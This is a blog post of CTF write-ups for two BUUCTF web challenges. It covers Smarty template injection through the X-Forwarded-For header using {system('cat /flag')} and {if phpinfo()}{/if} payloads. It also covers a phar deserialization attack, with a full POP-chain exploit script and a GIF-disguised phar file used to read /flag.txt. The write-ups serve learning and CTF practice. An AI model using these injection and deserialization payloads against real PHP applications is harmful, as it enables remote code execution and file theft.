buuctf13

[CISCN2019 华东南赛区]Web11

smarty模板注入 更改x-forwarded-for会有不同回显,猜测注入点在这,进行注入,百度了一下smarty模板,说是可以识别php语法:
尝试payload:

1
{system('ls')}
img
1
{system('cat /flag')}

img
没啥问题

值得注意的是:之前整理过的关于smarty模板注入的语句用不了因为,,那个版本比较落后

1
{self::getStreamVariable("file:///proc/self/loginuid")}

就是这个,原因:3.1.30的Smarty版本中官方已经把该静态方法删除

其他解题语句:

1
2
3
4
5
6
7
8
9
10
{if}标签
官方文档中看到这样的描述:

Smarty的{if}条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||*, or, &&, and, is_array(), 等等,如:{if is_array($array)}{/if}*

既然全部的PHP函数都可以使用,那么我们是否可以利用此来执行我们的代码呢?

将XFF头改为{if phpinfo()}{/if},可以看到题目执行了phpinfo()

原文链接:https://blog.csdn.net/qq_45521281/article/details/107556915

[CISCN2019 华北赛区 Day1 Web1]Dropbox

题目提示phar,记得是反序列化的内容:看看有无源码:没找到,上传一下文件,发现可以下载,尝试看看能不能修改下载位置,——存在任意文件下载漏洞,
img
下载得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>


<!DOCTYPE html>
<html>

<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title>

<head>
<link href="static/css/bootstrap.min.css" rel="stylesheet">
<link href="static/css/panel.css" rel="stylesheet">
<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
<script src="static/js/panel.js"></script>
</head>

<body>
<nav aria-label="breadcrumb">
<ol class="breadcrumb">
<li class="breadcrumb-item active">管理面板</li>
<li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
<li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
</ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
public $db;

public function __construct() {
global $db;
$this->db = $db;
}

public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}

public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}

public function __destruct() {
$this->db->close();
}
}

class FileList {
private $files;
private $results;
private $funcs;

public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);

$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

class File {
public $filename;

public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function name() {
return basename($this->filename);
}

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}

public function detele() {
unlink($this->filename);
}

public function close() {
return file_get_contents($this->filename);
}
}
?>

还有一个class.php,downloa.php也逃不了
审计审计~

看了一圈没看到反序列化的函数,回去仔细看了看phar反序列化

phar反序列化原理

phar://也是流包装的一种

a stub

可以理解为一个标志,格式为xxx<?php xxx;__HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

phar的本质是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
img

demo

根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

phar.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='hu3sky';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

访问后,会生成一个phar.phar在当前目录下。
img
用winhex打开
img
可以明显的看到meta-data是以序列化的形式存储的。
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
img

phar_fan.php

1
2
3
4
5
6
7
8
9
<?php
class TestObject{
function __destruct()
{
echo $this -> data; // TODO: Implement __destruct() method.
}
}
include('phar://phar.phar');
?>

输出hu3sky

利用点

前面说道,php识别phar文件是通过其文件头的stub,就是那段代码,对其他是没有要求的,也就意味着,我们可以将phar文件伪装成其他格式的文件!

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class TestObject {

}
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头
$phar ->addFromString('test.txt','test'); //添加要压缩的文件
$object = new TestObject();
$object -> data = 'hu3sky';
$phar -> setMetadata($object); //将自定义meta-data存入manifest
$phar -> stopBuffering();
?>

构造代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
eval.php
<?php
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();

理解一下:phar的实现过程应该为,我们创建一个phar文件,对于这个类的meta—data是以序列化的形式存储的
img

当你读取他是则会进行反序列化输出:
img

补充几点:
1.phar是一个压缩文件,里面存放着我们要压缩的文件以及一些存储的属性头信息(以序列化的形式存在)之类,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化

利用条件

1.phar文件要能够上传到服务器端。
2.如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数要有可用的魔术方法作为”跳板”。
3.文件操作函数的参数可控,且::、/、phar等特殊字符没有被过滤。
问题:这个有可用的魔术方法做跳板是为啥?
指的是使用文件操作函数的魔术方法跳板吗?——是的

实战

总觉得还是有哪里懵懵的
有可用的魔术方法做跳板按照我的理解是,我们的读取phar反序列化出来的内容
审计下代码,构造一下pop:

1
2
3
4
    public function close() {
return file_get_contents($this->filename);
}
}//file 类中存在 file_get_contents方法,可以用来读取文件,如何到这里来
1
2
3
public function __destruct() {
$this->db->close();
}//思路瞬间清晰了不少,将db赋值为file,怎么跳?
1
2
3
4
5
6
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}//利用call魔术方法:__call 调用不可访问或不存在的方法时被调用

pop链如下:
db(file)->close()=>__call($file(file)->close())=>file_get_contents=>FileList里面的destruct输出回到页面上(当然,这里是我们要构造入文件内令其反序列化的内容)

1.构造phar文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class User{
public $db;
}
class FileList
{
private $files;

public function __construct()
{
$this->files = array(new File());
}
}
class File{
public $filename='/flag.txt';
}
$user = new User();
$user->db=new FileList();
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> addFromString('test.txt','test');
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> setMetadata($user);
$phar -> stopBuffering();

不知道为啥下午尝试的时候就是没法出flag,因此还去和wp对比了一下 发现也没啥不同的呀?然后补充一个download.php中的ini_setini_set(“open_basedir”, getcwd() . “:/etc:/tmp”);这个函数执行后,我们通过Web只能访问当前目录、/etc和/tmp三个目录,所以只能在delete.php中利用payload,而不是download.php。

补充第二个点,一直不是很清楚在哪里解析了phar://于是在本地跑了一下
img
原来是在这,然后接下来尽管返回的false,但是phar已经被解析了,接下来就会继续执行反序列化操作,进入我们构造的链了

小结

首先是思路小结:
其实是因为一开始题目提示phar,所以自然而然就联想到要去找源码,看看序列化的点,所以此时就不会想到在登录框sql注入浪费时间,接下来尝试了各种功能,抓包,发现下载文件是可控的,所以接下来下载源码来审计,构造反序列语句就可以了

phar学习小结

1.phar是一个压缩文件,我们构造的内容会以文件属性的形式序列化后存在于文件头中
2.phar在被使用过程中会进行反序列化操作,例如,读取文件,查询文件是否存在,总之就是上面那几个文件函数,所以这个思路就是如何让我们的文件被读取?
3.我们传入的删除文件的操作

Author

vague huang

Posted on

2021-04-23

Updated on

2021-04-24

Licensed under

Comments